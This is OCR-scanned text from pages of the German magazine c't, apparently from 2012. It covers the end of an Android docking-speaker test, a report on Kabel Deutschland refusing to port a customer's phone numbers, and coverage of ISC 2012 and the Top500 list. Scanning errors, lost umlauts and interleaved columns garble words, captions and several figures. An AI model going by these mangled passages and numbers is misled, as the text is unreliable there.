Musik zu horen eignet sich erst
der AS851. Dank der Basslaut-
sprecher auf der Riickseite sind
hier die Tiefen gut vertreten, mit
Bassboost sogar lbertrieben. Die
Hohen sind etwas spitz - insbe-
sondere bei hoheren Lautstar-
ken -, werden aber viel differen-
zierter wiedergegeben als von
den anderen Boxen. .

Beim AS351 und AS851 lassen
sich mit der App die Klangein-
stellungen verandern. Sie wer-
den im Lautsprecher gespei-
chert, sodass sie sich auch auf
andere Anwendungen auswir-
ken. Fur den AS851 spendiert
Philips einen Equalizer, beim
AS351 kann man nur Profile aus-
wadhlen.

ill ps AS351/12
Netzteil, 3,5-mm-Klinkekabel
27,1cm X% 8,9 m X 14,2cm
0,9kg
= / =
2/10W
viviv
108 €

Prifstand | Android-Lautsprecher

Auf Tablets verschwendet
die App viel Bildschirm-
flache. Beim Radiohoren
vermisst man Titelinfos
oder eine Senderliste.

Fazit

Betrachtet man nur die Hard-
ware, sind die Docking-Laustpre-
cher fast durchweg gelungen.
Der flexible Anschluss ist die
richtige Antwort auf die Gerate-
vielfalt bei Android. Der Klang
geht gemessen an Preis und
Grofe bei allen Gerdten in Ord-
nung.

Die App erleichtert die Ver-
bindungsaufnahme, wenn man
Bluetooth normalerweise aus-
geschaltet hat. Sie nervt aller-
dings mit merkwurdiger Bedie-
nung und nicht zu Ende ge-
dachten Funktionen. Das meiste
kann man zum Glick mit ande-
ren Apps erledigen, Fidelio
braucht man eigentlich nur zur
Einstellung der Klangparameter.

(asp)

www.ct.de/1215064

Philips AS851/12

Netzteil, 3,5-mm-Klinkekabel, Fernbedienung
42,9cmx 16,9 cm X 10,8 cm

2,7kg

= / =

2/15W

viviv

160 €
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Report | Service & Support

Urs Mansmann

Herausgabe
verweigert

Kabel Deutschland will Rufnummern-
mitnahme nicht ermdglichen

Wechselt man von einer Telefongesellschaft zur
anderen, darf man seine Rufnummern mitnehmen,
das ist gesetzlich festgelegt. Vermeintlich noch
einfacher liegt der Fall, wenn der alte und neue
Anschluss beim gleichen Anbieter sind. Fiir Klaus K.
entwickelte sich eine langwierige Geschichte, weil
er seine Telefonnummer vor vielen Jahren auf den

Anschluss der Eltern {ibertragen hatte.

laus K. bekam in den 90er Jahren zwei

Festnetzrufnummern. Damals war er aus
dem Elternhaus ausgezogen und lebte in
einer eigenen Wohnung. Der ISDN-An-
schluss, vor der Einflihrung von DSL erste
Wahl fir einen flotten Internetzugang, hatte
zwei Rufnummern, deren einfache Kombina-
tion sich sehr leicht merken lasst — heutzuta-
ge sind solche Rufnummern als VIP-Rufnum-
mern bei manchen Anbietern nur gegen Auf-
preis erhaltlich.

2005 zogen seine Frau und er in eine
Wohnung im elterlichen Haus. Die beiden
Rufnummern lieB K. auf den damaligen
ISDN-Anschluss seiner Eltern portieren. Tele-
fonanlage und DSL-Internetzugang nutzte
die Gro3familie fortan gemeinsam. Von den
insgesamt vier Rufnummern stammten zwei
von K., zwei waren bereits vorher bei seinen
Eltern in Verwendung. K. konfi-
gurierte die Anlage so, dass ein-
und ausgehende Rufe den Appa-
raten in den jeweiligen Woh-
nungen zugeordnet waren. An-

Die Portierung seiner beiden Rufnum-
mern beantragte K. am 7. Oktober 2011. Am
17. beschwerte er sich dartber, dass sie
immer noch nicht erfolgt sei. Es seiihm wich-
tig, dass er unter diesen Nummern nun als-
bald erreichbar sei. Kabel Deutschland lehn-
te den Antrag ab. ,Aus rechtlichen Grinden”

sei eine Portierung nicht zuldssig. K. wollte

das nicht hinnehmen und wider-
sprach. Schon am néachsten Tag
meldete sich Kabel Deutschland
per E-Mail. Man bedauere die

fang Oktober 2010 wechselten 2 schlechten Erfahrungen, die K. ma-
K.s Eltern den Anschlussbetrei- 'c"T chen musste. Zum Ausgleich erhal-

ber. Statt DSL sollte kiinftig das
TV-Kabel zum Einsatz kommen.
Kabel Deutschland stellte ei-
nen Breitbandanschluss bereit
und portierte die vier Rufnum-
mernins eigene Netz.

Ein Jahr spater verwirklichten K. und seine
Frau einen lange gehegten Traum und er-
warben ein Eigenheim. Nachdem anféangli-
che Schwierigkeiten bei der Bereitstellung
des Kabelanschlusses Gberwunden waren,
bestellte K. einen Breitband- und Telefonan-
schluss bei dem Kabelanbieter. An der Hot-
line sagte man ihm, dass er provisorisch neue
Rufnummern erhalte; die Portierung der
alten erfolge aber wenig spater.

66

te er eine Gutschrift von 19,90 Euro.
Uber die Portierung verlor der Kun-
denservice aber kein Wort.

Das Problem von K. loste das
nicht. Mehrfach versuchte er nun te-
lefonisch eine Portierung der Ruf-

nummern zu erreichen, jedoch ohne Erfolg.
Dann kam K. auf die Idee, eine Rufumleitung
vonden alten auf die neuen Rufnummern zu
schalten, was immerhin seine Erreichbarkeit
sicherstellte. Die neuen Rufnummern, die bei
Angerufenen angezeigt wurde, erzeugten
aber Verwirrung. AuBerdem konnte K.s Vater
nicht telefonieren, wahrend der Sohn einen
Anruf erhielt, denn dannwaren beide Leitun-
gen belegt.

Als nach dem Umzug endlich ein wenig
Ruhe eingekehrt und die wichtigsten Angele-
genheiten erledigt waren, wandte sich K. im
Februar wieder der bislang erfolglosen Ruf-
nummernportierung zu. Dem von der Hotline
vorgetragenen Argument, dass eine Rufnum-
mernportierung aus rechtlichen Grinden
nicht zuldssig sei, widersprach er. Die Tele-
kom, die ihm die Nummer urspriinglich zuge-
wiesen hatte, habe ihm bestétigt, dass einer
Portierung nichts im Wege stiinde.

Am 9. Februar antwortete Kabel Deutsch-
land. Aus rechtlichen Grinden sei eine Ruf-
nummernlbertragung nicht maoglich. Die
Nummer sei Eigentum des Anbieters, der sie
das erste Mal vergeben habe. Das Recht zur
Nutzung stehe nur einer Person zu, es kdnne
nicht auf Dritte Ubertragen werden. Aber
gerne koénne man ihm fir 4,90 Euro pro
Stuck weitere Rufnummern zuweisen.

K. wollte aber keine neuen Rufnummern,
sondern die alten. Er bestritt, dass er ein Drit-
ter sei. Noch einmal erklérte er, dass diese
zwei Rufnummern ja urspringlich ihm per-
sonlich zugewiesen worden seien. Er bot an,
das mittels alter Unterlagen und Rechnun-
gen nachzuweisen. Und bat noch einmal um
Portierung der Rufnummern.

Am 14, Februar lehnte Kabel Deutschland
sein Ansinnen wieder ab, wieder mit der
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wortlich gleichen Begriindung, offenbar ein
Textbaustein aus der Sammlung des Kun-
denservice.K.batin seiner erneuten Antwort
darum, doch bitte auf seine Anfrage einzuge-
hen statt nur einen Standardtext zu senden.
Die Rufnummern gehoérten seiner Frau und
ihm. Wenn Kabel Deutschland sich schon auf
eine rechtliche Grundlage zurtickziehe, dann
moge man ihm diese doch bitte nennen.

Am 17. Februar meldete sich Kabel
Deutschland wieder. Das Schreiben war kurz
und knapp. Die Rufnummernmitnahme sei
nicht moglich, wie bereits mehrfach mitge-
teilt. Man bedaure. K. schrieb noch kiirzer zu-
rick, in der Hoffnung, wenigstens einmal
seine Frage beantwortet zu bekommen: ,Auf
welcher Grundlage entscheiden Sie das?”,
wollte er wissen.

Die Antwort kam am 21. Februar. Wieder
mit dem sattsam bekannten Textbaustein
Uber das Eigentum an der Rufnummer. Das
stehe dem Anbieter zu, der die Rufnummer
das erste Mal vergeben habe. Daraufhin frag-
teK. zurtick, ob er denn auf dem Portierungs-
formular die Telekom oder Arcor angeben
solle, denn die Nummer habe derzeit ja
Kabel Deutschland. Die Antwort war wieder
das Formschreiben, diesmal zur Abwechs-
lung in der Langfassung.

Am folgenden Tag rief ihn der Kundenser-
vice an und K. schilderte sein Problem. Dies-
mal hatte er das Geflihl, man habe ihn ver-
standen und werde sein Problem endlich
16sen, der Mitarbeiter versprach Abhilfe. Als
sich aber nach einer Woche noch nichts
getan hatte, fragte er nochmals schriftlich
nach, was denn nun mit der telefonisch zu-
gesagten Portierung sei. Die Antwort vom
29. Februar kam kurz und knapp: ,Leider
konnen wir hren Wunsch aus rechtlichen
Griinden nicht erfullen. Wir verweisen daher
auf unseren bisherigen Schriftverkehr.”

Nochmals versuchte K. herauszufinden,
welche omindsen rechtlichen Griinde denn
gegen diese Rufnummernmitnahme spra-
chen. In seinem Bekanntenkreis waren
dhnliche Félle von anderen Providern ganz
unburokratisch im Sinne des Kunden geldst
worden. Von rechtlichen Problemen keine
Spur. Er bat nochmals um eine Einzelfall-
prifung.

Die nahm der Service offenbar vor. Am
5. Mérz schrieb er: ,Wir haben nochmals alle
Umsténde gepriift. Leider hat sich am Sach-
verhalt nichts gedndert. Daher verweisen wir
auf den vorangegangenen Schriftwechsel.”
Und noch einmal setzte K. nach, fragte nach
der rechtlichen Grundlage. Dringend, aber
sehr hoflich bat er um eine Lésung in seinem
Sinne.

Lésungsvorschlag

Nun hatte Kabel Deutschland plétzlich einen
Lésungsvorschlag: ,Wenden Sie sich an lhren
bisherigen Anbieter und bitten Sie darum,
als Anschlussinhaber eingetragen zu wer-
den.” K. schaltete schnell: ,Da Sie ja der bis-
herige Anbieter sind, mochte ich, dass Sie
mir meine Rufnummern [...] auf meinen
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Namen eintragen.” Zuriick kam am 6. Marz
wieder Formschreiben A in Langfassung.

Und wieder monierte K., dass Kabel
Deutschland nicht auf seine Fragen eingehe.
Am 8. Marz verwendete ein Service-Mitarbei-
ter einmal nicht den Textbaustein und ant-
wortete auf K.s Frage: ,Die Rufnummerntber-
tragbarkeit ist in Deutschland in § 46 Tele-
kommunikationsgesetz (TKG) festgeschrie-
ben.” Der verpflichtet die Netzbetreiber dazu,
beim Wechsel des Betreibers auf Wunsch des
Endnutzers eine Portierung vorzunehmen -
genau das, was K. monatelang vergeblich
versucht hatte. Und genau das teilte er dem
Kabel-Deutschland-Service mit.

Die Antwort vom 14. Marz bestand nur in
einem Verweis auf das Schreiben vom
8. Mérz, das die Frage von K. aufgeworfen
hatte. Und K. versuchte es noch einmal: ,Laut
Telekommunikationsgesetz sind Sie ver-
pflichtet, meine Rufnummer zu portieren.
Daher bitte ich Sie nochmals [...], die Ruf-
nummer auf meinen Anschluss zu portieren.”
Am 17. Mérz beschied ein Kundendienstmit-
arbeiter K. wieder abschlagig. Die Sachlage
habe sich nicht gedndert. ,Vielen Dank fir lhr
Verstandnis!”

Nun hatte er die Nase voll. Er drohte mit
einer juristischen Prifung und dass er sich an
c't wenden werde. Der Service fertigte ihn la-
pidar ein weiteres Mal ab, diesmal mit Ver-
weis auf ein vorangegangenes Schreiben
von Anfang Februar. Daraufhin wandte er
sich an die c't-Redaktion und schilderte sei-
nen Fall.

Nachgefragt

Wir baten zunachst die Bundesnetzagentur
um eine Einschatzung. Zwar gibt es strenge
Restriktionen zur Ubertragung, wenn Num-
mern nach den heutigen Zuweisungsregeln
zu kurz sind. Diese greifen der Auskunft der
Behorde zufolge im Fall K. aber nicht, denn
er hat diese Nummern ja stets genutzt und
Freunde und Bekannte rufen ihn dariber an,
er wird also ,daruber identifiziert”, wie es in
der Vorschrift heiBt. Die Ubertragung wire
also zuldssig. Andererseits bestehe aber auch
kein Rechtsanspruch von K. Aus Sicht der
Bundesnetzagentur spricht rechtlich nichts
gegen eine Ubertragung der beiden Ruf-
nummern in diesem Fall.

Auch wenn es keine Vorschrift ist, sollte es
fur ein kundenorientiertes Unternehmen
selbstverstandlich sein, einen solchen
Wunsch zu erfiillen. Uber den Umweg einer
offiziellen Anschlussiibernahme und der an-
schlieBenden Portierung zu einem Drittan-
bieter hatte K. das erzwingen konnen, als er
noch im Elternhaus wohnte, allerdings mit
Kooperation seines Vaters und mit enormem
Aufwand. Der ware vollkommen unnétig,
wenn Kabel Deutschland ihm ein Stiickchen
entgegenkame.

Wir fragten nun bei Kabel Deutschland an,
warum man K. den Gefallen nicht einfach tat
und stattdessen rechtliche Griinde vorschob.
Pressesprecherin Magdalena Palewicz ver-
wies auf eine Allgemeinverfligung der Bun-
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desnetzagentur, die die Ubertragung von
Rufnummern der Klasse 3 - zu der K.s Num-
mern gehdren — von einem Teilnehmer zum
anderen grundsatzlich verbietet. ,Auf dieser
Grundlage erfolgte die Ablehnung der Ruf-
nummernibertragung”, erklart Palewicz. Al-
lerdings lasst diese Regelung, wie auch von
der Bundesnetzagentur bestatigt, eine Aus-
nahme zu, wenn der Antragsteller die Num-
mer zuvor selbst genutzt hatte, und der Fall
K. fallt ganz offensichtlich hierunter, was
Kabel Deutschland aber nicht ohne Weiteres
anerkennen will. Die von K. gewinschte
Ubertragung der Rufnummern sei nur unter
bestimmten Voraussetzungen moglich. ,Da
es sich um Nicht-Kabel-Deutschland-Ruf-
nummern handelt, kdnnen wir dies nicht
nachvollziehen”, erklart Palewicz.

Kabel Deutschland erfullt den Wunsch
von Klaus K. nun dennoch: ,Da wir in diesem
sehr speziellen Einzelfall aber eine moglichst
kundenfreundliche Lésung anbieten moch-
ten, haben wir die technischen Méglich-
keiten geprift und eine Lésung gefunden,
sodass die Rufnummern ab sofort auf dem
Anschluss von Klaus K. zur Verfiigung ste-
hen”. Kabel Deutschland verweist auch auf
die umfangreichen Vorschriften der Bundes-
netzagentur zu Ortsrufnummern: ,Bitte
haben Sie Verstandnis, dass es sich hierbei
um eine besondere Einzelfallldsung handelt,
die nur unter bestimmten Bedingungen
maoglich ist.”

Doppelmoral

Die Vorschriften der Bundesnetzagentur
setzte Kabel Deutschland im Fall K. buchsta-
bengetreu um; im Zweifel fallt die Entschei-
dung offenbar gerne einmal gegen den Kun-
den, der jaim beschriebenen Fall bereitwillig
die Vornutzung und damit die Voraussetzun-
gen fur die Anwendung der Ausnahmeklau-
sel nachweisen wollte.

Wenn es hingegen um den eigenen Vor-
teil geht, zeigt Kabel Deutschland einen
kreativen Umgang mit der Gesetzeslage. Die
seit Anfang Mai geltenden Kundenschutz-
vorschriften des TKG beispielsweise werden
dann gerne zurechtgebogen, bis es
quietscht. Gut sehen kann man das an der
gesetzlichen Verpflichtung, Vertrdge mit
einem Jahr Laufzeit anzubieten. Versuchen
Sie mal, dieses Angebot auf der Homepage
des Anbieters ausfindig zu machen. Mit nur
einem kleinen Bruchteil dieser Fantasie und
Flexibilitat, mit der hier Angebote vor Kun-
den versteckt werden, hétte sich der Fall K.
im Handumdrehen l6sen lassen.

Wer eigene Rufnummern hat und diese
nur voribergehend an einem Sammelan-
schluss, kiinftig aber moglicherweise wieder
an einem eigenen Anschluss nutzen mochte,
tut gut daran, diese nicht in den Nummern-
pool des Anschlussinhabers zu werfen, etwa
bei den Eltern oder in einer WG. Bei VolP-An-
bietern wie Sipgate kann man Rufnummern
problemlos zwischenparken, wéahrenddes-
sen nutzen und bei Bedarf jederzeit wieder
portieren. (uma) c&
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Andreas Stiller

Hohenfllige

International Supercomputing Conference 2012
und die 39. Top500-Liste der Super Computer

Die USA haben wieder den schnellsten Rechner und der schnellste
europdische steht in Miinchen. Intel gibt seinem speziellen HPC-Chip
einen interessanten Namen und auf der ISC12 debattierten Hersteller
und Wissenschaftler daruber, wie man die Exascale-Rechner
konzipieren muss, damit man kein Atomkraftwerk als Energiequelle

daneben stellen muss.

F ur reichlich Diskussionsstoff sorgte gleich
zu Beginn der ISC12 die neue Top500-
Liste der Supercomputer. Wahrend sich vor
einem halben Jahr im Spitzenbereich nahezu
nichts getan hatte, wurde diesmal der obere
Bereich erheblich umgewadlzt. Ganz weit
vorne steht jetzt wieder ein US-amerikani-
sches System. Dessen Aufgabe ist es, die na-
tionale Sicherheit zu wahren.

23 Stunden und 17 Minuten hat er an der
Losung einer Gleichung mit 12,7 Millionen
Unbekannten gerechnet und kein einziger
Kern sei dabei ausgefallen, so Kim Cupps
vom Lawrence Livermore National Labora-
tory stolz, dann hatte er 16,3 PFlops im Lin-
pack-Benchmark erreicht: der von IBM in-
stallierte Sequoia mit tber 1,5 Millionen
BlueGene/Q-Rechenkernen. 1,36 Trilliarden
(10?") Gleitkommaoperationen in doppelter
Genauigkeit hat er in dieser Zeit berechnet.
Mit dieser enormen Rechenleistung ver-
weist der amerikanische Supercomputer
den bislang fihrenden K Computer am
RIKEN-Institut in Japan klar auf Platz zwei,

Hinter diesen Kiihlkorpern sollen sie
sitzen, die hei3 erwarteten Kepler-GK110-
Chips, hier am Stand von EuroTech.
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dessen 70 000 Fujitsu-SPARC64VIlI-Kerne
10,5 PFlops schaffen.

Mit 7,9 MW Verbrauch ist zudem der Blue-
Gene/Q-Rechner deutlich energieeffizienter
als der japanische SPARC64-Kollege, der
12,7 MW bendtigt. So belegt Sequoia zusam-
men mit den anderen BlueGene/Q-Rechnern
mit rund 2000 MFlops/Watt einen der vorde-
ren Platze in der Green500-Liste.

Und BlueGene/Q-Rechner gibts inzwi-
schen reichlich. Schon auf Platz 3 folgt mit
8,2 PFlops Miravom Argonne National Labo-
ratory und auf Platz 7 kam mit Fermi erstmals
ein italienisches System in die Top10, das
1,7 PFlops erzielte. Knapp dahinter auf
Platz 8 liegt mit 1,4 PFlops ein weiterer Blue-
Gene/Q-Rechner: JUQUEEN am Supercompu-
ter Centre des Forschungszentrums Julich
JSC. Doch damit ist Julich derzeit nur auf
Platz 2 in Deutschland, denn ein anderer,
ebenfalls von IBM installierter Rechner domi-
niert die deutsche und die europdische
Szene: SuperMUC am Leibniz-Rechenzen-
trum in Garching bei Mlnchen. 18 432 Intel-

Rajeeb Hazrazeigte in seiner Keynote den
Knights-Corner-Prozessor und die Karte,
die unter dem Namen Xeon Phi vermarktet
werden soll.

Xeon-E5-Prozessoren mit jeweils 8 Kernen
bringen die Gber 100 iDataPlex-Racks kréftig
auf Trab, namlich auf 2,9 PFlops.

Erstmals seit 1997 sind damit zwei deut-
sche Rechner in den Top10. Der Vorsprung
vor JUQUEEN wird aber nicht lange wéhren,
denn JSC-Chef Prof. Dr. Thomas Lippert will
bald die Performance-Krone wieder nach Ju-
lich holen. Derzeit sind dort 8 BlueGene/Q-
Racks ftir JUQUEEN sowie der alte JUGENE mit
BlueGene/P installiert. In Kirze muss der
JUGENE weichen und an seiner Stelle sollen
28 BlueGene/Q-Racks rackern, um dann mit
fast 5 PFlops die Spitze zu tibernehmen.

Zwischenzeitlich war auch mal der Dritte
im Bunde des deutschen Gauss Centre of Su-
percomputing an der deutschen Spitze und
weltweit in den Top10: Hermit am Hochst-
leistungsrechenzentrum Stuttgart (HLRS), ein
Cray-XE6-System mit AMD-Interlagos. Mit
seinen 830 TFlops konnte er jetzt nur noch
weltweit Platz 24 erreichen.

Zwischen SuperMUC und JUQUEEN liegen
noch Tinghe-1A aus China (2,57 PFlops mit
Intel Xeon X5670 und Nvidia Tesla 2050)
sowie der Cray-XK6-Rechner Jaguar der Oak
Ridge National Labs, die beide in der letzten
Liste die Platze 2 und 3 belegten. Oak Ridge
hat allerdings den Jaguar weiter von Cray
XT5-HE mit Magny-Cours auf Cray XK6 mit
Interlagos und Nvidia 2090 aufgerustet und
von 1,76 auf 1,94 PFlops zugelegt.

Wegen seiner zahlreichen BlueGene-, iDa-
taplex- und x86-Blade-Rechner dominiert
IBM als Hersteller die Top500-Liste weiterhin
klar vor Hewlett-Packard. Zwar stammen nur
noch 213 Systeme von zuvor 223 von |BM,
aber in der akkumulierten Rechenleistung er-
bringen diese nahezu 50 Prozent der Ge-
samtleistung. lhr Anteil lag in der letzten
Liste nur bei 27 Prozent. 138 Systeme stam-
men von Hewlett-Packard (zuvor 141) mit
nur noch knapp 10 Prozent der Gesamtleis-
tung, gefolgt von Cray (27 Systeme, 8,9 Pro-
zent), Bull und SGI. Bislang war Cray im obe-
ren Teil der Liste vorneweg, mit etwa dop-
pelt so vielen Systemen und doppelter Re-
chenleistung wie IBM in den Top50, das hat
sich nun komplett gedreht: IBM hat mit
22 dreimal mehr Systeme in den Top50 mit
einer dank Sequoia, Mira und SuperMUC um
Faktor sieben hoheren Rechenleistung.

Ohne Holland ...

Unter den kleineren Systemhdusern schlagt
sich eine deutsche Firma recht gut. Meg-
ware aus Chemnitz konnte immerhin drei
Systeme in die Top500 bringen, an den Unis
von Mainz, Oslo und Wien. Clustervision aus
unserem hollandischen Nachbarland hat
zwei Systeme in der Liste: einen Supercom-
puter in Saudi-Arabien und einen an der Uni
Frankfurt, der dank Radeon-GPU-Beschleu-
nigung mit 299 TFlops Deutschlands
schnellster Hochschulrechner ist. Nur im
Heimatland von Clustervision sieht es diister
aus, denn die 6konomisch und wissen-
schaftlich traditionell starken Niederlander
glanzen aktuell durch Abwesenheit bei den
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groBen Rechnersystemen. 18 Jahre lang
waren unsere Nachbarn bestens in der
Top500-Liste vertreten, mit bis zu 14 Syste-
men im Herbst 2000, doch der einzig ver-
bliebene in die Jahre gekommene Huygens-
Rechner auf Basis von IBM-Power-6-Prozes-
soren ist mit seinen geruhsamen 50 TFlops
schon im Herbst letzten Jahres aus der Liste
gefallen. Ein Petaflops-System hat das nie-
derlandische Supercomputerzentrum SARA
zwar inzwischen bei IBM in Auftrag gegeben
- doch das wird erst fiir 2014 erwartet. Bése
Zungen behaupten nun, dass die Hollander
nur deshalb so schméhlich bei der EM aus-
geschieden sind, weil ihnen die Rechenpo-
wer fehlte, um die Gegner zu analysieren
und die Flugbahn der Van-Persie-Geschosse
zu optimieren ...

Insgesamt liegen in der Landerstatistik
weiterhin die USA klar vorn mit 253 (von
zuvor 263) Systemen. Die Europder haben
zwar von 103 auf 107 zugelegt, bleiben aber

Sequoia

96 Racks auf 318 Quadratmetern, 98 304 Re-
chenknoten mit ebenso vielen BlueGene/Q-
Prozessoren, ein jeder mit 16 Kernen, also
insgesamt 1572 864 Rechenkerne. Hinzu
kommen 16 GByte Speicher pro Knoten, das
macht 1,54 PByte Hauptspeicher - auch in
dieser Kategorie zeigt die neue Nummer eins
am Lawrence Livermore National Laboratory
(LLNL) ihr Petascale-Format, knapp vor dem
japanischen K-Computer mit 1,34 PByte.

Eigentlich enthalt der offiziell PowerPC A2
genannte Prozessor sogar noch zwei weite-
re Kerne: einer dient I/O-Zwecken, der ande-
re ist als Reservekern abgeschaltet. Die Blue-
Gene-Prozessorlinie flr energieeffizientes
massivparalleles Computing startete einst
mit leicht verandertem Embedded PowerPC
440. Die Prozessoren wurden im Lauf der
Zeit insbesondere im Gleitkommabereich
immer mehr flir HPC optimiert. Mit dem
BlueGene/Q wurden die Kerne auf 64 Bit
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Mellanox reizt PCle véllig aus:
Mit zwei InfiniBand-FDR-Ports
und 16 Lanes kommt die
ConnectlIB auf Gber 100 GBit/s.

LRZ-Direktor Prof. Dr. Arndt
Bode und die deutsche IBM-
Chefin Martina Kéderitz halten
stolz die Siegerurkunden des
ISC-Veranstalters und Top500-
Mitbegriinders, Prof. Dr. Hans
Meuer.

weiterhin hinter Asien 121 (zuvor 118) zu-
rick. China hat eine kleine Pause eingelegt
und ein wenig verloren 68 (zuvor 74). Japan
hat wieder etwas aufgedreht und konnte
jetzt 34 (zuvor 30) Systeme platzieren.
Deutschland, Frankreich und GroBbritannien
liegen mit 20, 22 und 25 Systemen nahezu
gleichauf, aber Deutschland hat dank seiner
drei ,dicken Eisen” vom Gauss Centre die
Nase in puncto Rechenleistung vorn; mit
8,1 PFlops vor GrofB3britannien (6,5 PFlops)
und Frankreich (6,4 PFlops).

Xeon Phi

Intel nutzte die Konferenz in Hamburg, um
die Coprozessor-Karte Knights Corner vorzu-
stellen, zumindest ihren offiziellen Namen,
der fur die gesamte MIC-Linie (Many Integra-
ted Cores) steht: Xeon Phi. Das ist aber trotz
des Namens kein Xeon-Prozessor, sondern
ein spezieller Coprozessor mit ,uber 50" Re-

aufgerilstet und IBM fiuhrte hier erstmals
Hardwareunterstiitzung flr Transactional
Memory ein. Alte BlueGene-Software lauft
nicht ohne Neukompilation auf BlueGene/Q.

Sequioa wird sich ausschlieBlich um die Op-
timierung des amerikanischen Kernwaffen-
potenzials kimmern und steht der allge-

Die Leiterin der
Computer Division
des Lawrence
Livermore National
Laboratory, Kim
Cupps, ,lauscht”
gemeinsam mit
Systemingenieur
Adam Bertsch dem
derzeit schnellsten
Computer der Welt:
Sequoia.

on the TOPs500 List published a
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Congratulations from the

chenkernen, die irgendwo zwischen einem
uralten Pentium und dem Atom angesiedelt
sind, ein jeder Kern verfiigt allerdings tber
eine 512-bittige Vektoreinheit.

Als erstes Mitglied dieser Linie soll der in
22-nm-Technik gefertigte Knights Corner
Ende des Jahres herauskommen. Bis zu 62
Kerne - dieser Wert wurde von Intel immer
noch nicht offiziell bestatigt — konnen hier
aktiv mitrechnen. Ein paar Prototyp-Karten
waren schon bei Partnern an den Standen zu
sehen. Die Karte am HP-Stand etwa gab bei
/proc/cpuinfo 240 logical cores aus, lief also
mit 60 physischen Kernen und Vierfach-
Hyper-Threading.

Ein Intel-Testsystem Discovery konnte mit
friihen Prototypen bereits 118 TFlops erzielen
und so auf Platz 150 in die Top500-Liste ein-
ziehen. Discovery besteht aus 140 Knoten mit
Xeon-E5-Prozessoren, in die vermutlich 140
Knights-Corner-Karten eingesteckt waren. Bei
denen rechneten dann offenbar jeweils nur

meinen Wissenschaft nicht zur Verfigung.
Das war urspringlich anders geplant, ist
aber aus Sicherheitsgriinden geandert wor-
den. Fir die Wissenschaft halt das LLNL
einen weiteren Supercomputer namens
Dawn bereit, ein BlueGene/P-Rechner mit
415 TFlops, der Platz 42 auf der Top500-
Liste belegt.
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Anzahl der Systeme pro Hersteller
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50,4 % USA

13,6 % China

Anzahl der Systeme pro Prozessorhersteller

02
0.2%
1,0%

74,6 % Intel
11,6%

SuperMUC

SuperMUC besteht aus 18 ,diinnen Kno-
ten-Inseln” aus jeweils 512 Zweisockel-
iDataPlex-Boards oder -Knoten, bestlckt
mit insgesamt 147 456 Sandy-Bridge-EP-
Kernen (Xeon E5-2680). Der Interconnect
lauft Gber InfiniBand FDR10. Hinzu kommt
eine ,dicke Insel” mit Intel Westmere EX,
die verteilt auf 205 Viersockel-Boards wei-
tere 8200 Kerne beitragt. Zusammenge-
rechnet verfiigen die beiden Inselgruppen
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Performance [PFlops] pro Hersteller
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Uber 340 TByte Hauptspeicher. Die West-
mere-Insel blieb beim Linpack-Lauf aller-
dings auB3en vor - sie hétte eh nur etwa 80
TFlops zusétzlich erbracht. Rund 9 Stunden
brauchten die 18 diinnen Inseln fiur das
Linpack-Ergebnis von 2,89 PFlops. Die Be-
sonderheit ist beim SuperMUC die HeiB3-
wasserkiihlung. Wahrend Ublicherweise
Supercomputer 8 bis 12 °C kaltes Kiihlwas-
ser bendtigen, das energieaufwendig

Der Europa-
meister kommt
- zumindest bei
den Super-
computern - aus
Deutschland:
SuperMUC, nicht
vom FC Bayern,
sondern LRZ-
Garching.

Aufteilung der Systeme der 39. Top500-
Liste mit 123 PFlops auf die Hersteller, die
Lander und die Prozessorhersteller

54 Kerne mit, was sich aus der veroffentlich-
ten Anzahl von 7560 Rechenkernen schlieBen
ldsst. Mit 1176 MFlops/Watt hat sich das Test-
system bezlglich Energieeffizienz nicht so
wirklich mit Ruhm bekleckert - das ein oder
andere Nvidia-GPU-beschleunigte System
liegt schon jetzt etwas dartber und die von
Nvidia ebenfalls fir Ende des Jahres ange-
kiindigte Tesla-K20-Karte soll noch dreimal
effizienter sein. Fir die finale Version gibt
Intel fir den Xeon Phi 1 TFlops pro Knotenim
Linpack-Benchmark an - wobei unklar blieb,
ob dieser Wert die Xeon-E5-Performance mit
umfasst oder allein von der Coprozessor-
Karte geleistet wird; zwei Xeon-E5-Prozesso-
ren kdnnen ja bereits 360 GFlops leisten.
Méglicherweise notorisch nachfragende
Journalisten hat man wobhl lieber nicht dabei
haben wollen und sie daher nicht von der
Vorverlegung der Pressekonferenz informiert.
Mit Kopfschitteln reagierten viele Wissen-
schaftler zudem auf die hinter den Kulissen
bestatigte Tatsache, dass Knights Corner nur
PCle2.0 unterstitzen wird.

JSC-Chef Thomas Lippert hielt am Intel-
Stand einen Vortrag lber Beschleuniger, bei
dem er auch dezidiert auf PCle als Flaschen-

heruntergekihlt werden muss, kann man
den SuperMUC mit 40 °C warmem Wasser
versorgen. Auf bis zu 60 °C kann es sich
beim Durchlauf aufheizen, Der Trick: So
kann man es an normaler Umgebungsluft
abkihlen lassen und es fur die Heizung
verwenden.

Etwa 10 Prozent der Anlage, die Switches
und die Fat Node Island, sind derzeit noch
klassisch mit Luft und Warmetauschern an
der Hinterseite der Racks gekihlt. Wie LRZ-
Direktor Prof. Dr Arndt Bode in seiner Key-
note erklarte, will man aber auch hier bald
auf Direktkiihlung umstellen. An Konzepten,
die Nachbargebdude der TU-Miinchen mit
Warmwasser fiir Heizzwecke zu versorgen,
arbeitet man noch. Etwa 85 Millionen Euro
hat der Rechner samt des neuen dafir errich-
teten Gebaudes gekostet, fiir die zweite Aus-
baustufe sind weitere 48 Millionen vorgese-
hen. Hier soll Software aus allen Bereichen
der Wissenschaft laufen, Schwerpunkte sind
Kosmologie und Seismologie. Gut 30 Prozent
seiner Rechenzeit stellt SuperMUC im Rah-
men von PRACE europdischen Forschungs-
projekten zur Verfigung, ebenso wie das Ju-
lich SC und HLR-Stuttgart, die sich hierfir im
Gauss Centre for Supercomputing zusam-
mengeschlossen haben.
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Rechner (Hersteller)  Betreiber

1(-) Sequoia (IBM) Lawrence Livermore National Lab USA 1572 864 Bluegene/Q 1,6 GHz 16 325

2(1) K Computer (Fujitsu) ~ RIKEN Advanced Institute for Computational Science (AICS) ~ Japan 705024 8C-SPARC64 VIIIfx, 2 GHz 10 510 12,7
3(-) Mira (IBM) Argonne National Laboratory USA 786 432 Bluegene/Q 1,6 GHz 8162 3,95
4(-) SuperMUC (IBM) Leibniz-Rechenzentrum Deutschland 147 456 8C-Xeon ES, 2,7 GHz 2897 3,52
5(2) Tianhe-1A (NUDT) National SuperComputer Center Tianjin China 186 016 6(-Xeon 2,93 GHz +7168 X 14 Nvidia TeslaM2050 2566 4,04
6(3) Jaguar (Cray XK6) 0Oak Ridge National Lab USA 298 592 16C-Opteron, 2,2 GHz 1941 5,14
